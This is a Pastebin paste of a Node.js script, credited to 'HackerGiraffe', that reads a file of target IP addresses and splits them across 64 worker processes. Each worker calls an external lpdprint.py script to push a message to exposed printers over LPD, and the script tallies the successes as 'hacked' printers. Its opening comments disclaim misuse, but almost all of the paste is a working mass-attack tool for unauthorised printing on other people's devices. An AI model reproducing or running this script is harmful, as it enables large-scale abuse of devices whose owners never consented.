Advertisement
FlyFar

index_lpd.js

Jul 28th, 2023
954
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 4.35 KB | Cybersecurity | 0 0
  1. //FOR RESEARCH PURPOSES ONLY.
  2. //YOU ARE RESPONSIBLE FOR YOUR OWN ACTIONS - DO NOT RUN THIS ON PRINTERS YOU DO NOT HAVE AUTHORIZATION TO PRINT ON
  3. //I AM SERIOUS. DO NOT BE A SKID AND LEAVE PEOPLE'S STUFF ALONE. WE ALREADY WASTED ENOUGH PAPER AND INK.
  4. //I am serious. Please. Don't try to have your own 5 minutes of fame. No one will think you are 'cool'. You will be a copycat.
  5. //Try to learn and build your own programs. Be ethical. Be better than me.
  6. //I am seriously asking you to leave people's printers alone, we made our point.
  7. //Thank you, HackerGiraffe
  8.  
  9. const chalk = require('chalk');
  10. const fs = require('fs');
  11. const cluster = require('cluster');
  12. const config = require('./config.json');
  13.  
  14. //Commented this out because what if I want to go faster than 8 CPUs
  15. // const numCPUs = require('os').cpus().length;
  16.  
  17. //Number of threads
  18. const numCPUs = 64;
  19.  
  20. //Exec
  21. const { exec } = require('child_process');
  22.  
  23. //Counters
  24. let count = 0;
  25. let hacked = 1;
  26.  
  27. //Open file for reading
  28. let array = fs.readFileSync(config.targetFile).toString().split("\n");
  29.  
  30. //Stolen function from StackOverflow
  31. function splitUp(arr, n) {
  32.     var rest = arr.length % n, // how much to divide
  33.         restUsed = rest, // to keep track of the division over the elements
  34.         partLength = Math.floor(arr.length / n),
  35.         result = [];
  36.  
  37.     for (let i = 0; i < arr.length; i += partLength) {
  38.         var end = partLength + i,
  39.             add = false;
  40.  
  41.         if (rest !== 0 && restUsed) { // should add one element for the division
  42.             end++;
  43.             restUsed--; // we've used one division element now
  44.             add = true;
  45.         }
  46.  
  47.         result.push(arr.slice(i, end)); // part of the array
  48.  
  49.         if (add) {
  50.             i++; // also increment i in the case we added an extra element for division
  51.         }
  52.     }
  53.  
  54.     return result;
  55. }
  56.  
  57. var arrays = splitUp(array, numCPUs);
  58.  
  59. //Stolen from nodejs docs lol
  60. if (cluster.isMaster) {
  61.     console.log(chalk.yellow(`Master ${process.pid} is running`));
  62.  
  63.     //Counter
  64.     var start = Date.now();
  65.  
  66.     // Fork workers.
  67.     for (let i = 0; i < numCPUs; i++) {
  68.  
  69.         //God bless Nodejs workers
  70.         var worker = cluster.fork();
  71.         worker.send(arrays[i]);
  72.  
  73.         worker.on('message', function (msg) {
  74.             //Increment stats
  75.             hacked += msg.hacked;
  76.             count += msg.count;
  77.             console.log(chalk.blue(`Progress: ${count}/${array.length} [${((count / array.length) * 100).toFixed(5)}%] Hacked: ${hacked}/${count} [${((hacked / count) * 100).toFixed(5)}%]`)); //Progress bar
  78.             exec(`cat ./message.txt | sed "s/PRINTERNOHERE/${hacked}/g" > ./tmp.txt`); //Replace PRINTERNOHERE with number of hacked printers
  79.         });
  80.     }
  81.  
  82.     cluster.on('exit', (worker, code, signal) => {
  83.         console.log(`Worker ${worker.process.pid} died.`);
  84.     });
  85.  
  86.  
  87.  
  88.     cluster.on('exit', function (worker) {
  89.         // When the master has no more workers alive it
  90.         // prints the elapsed time and then kills itself
  91.         if (Object.keys(cluster.workers).length === 0) {
  92.             console.log('Every worker has finished its job.');
  93.             console.log('Elapsed Time: ' + (Date.now() - start) + 'ms');
  94.             process.exit(1);
  95.         }
  96.     });
  97.  
  98. } else {
  99.     console.log(chalk.blue(`Worker ${process.pid} started`));
  100.  
  101.     async function loopTargets(targets) {
  102.         let counter = 0;
  103.         for (const target in targets) {
  104.             await runAttack(targets[target]);
  105.             process.send({ count: 1, hacked: 0 })
  106.         }
  107.     }
  108.  
  109.     //I hate async await I can barely understand it
  110.     async function runAttack(target) {
  111.         return new Promise(resolve => {
  112.             //timeout incase the IP is non responsive
  113.             exec(`timeout 60 ./lpdprint.py ${target} ./tmp.txt`, (err, stdout, stderr) => {
  114.                 if (err) {
  115.                     console.log(chalk.red(`Printed to ${target} failed.`))
  116.                 } else {
  117.                     console.log(chalk.green(`Printed to ${target} successfully!`))
  118.                     process.send({ count: 0, hacked: 1 })
  119.                 }
  120.                 resolve();
  121.             })
  122.         })
  123.     }
  124.  
  125.     process.on('message', function (targets) {
  126.         console.log(chalk.green.bold(`Worker ${process.pid} recieved ${targets.length} targets.`))
  127.         loopTargets(targets);
  128.     })
  129. }
Tags: index lpd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement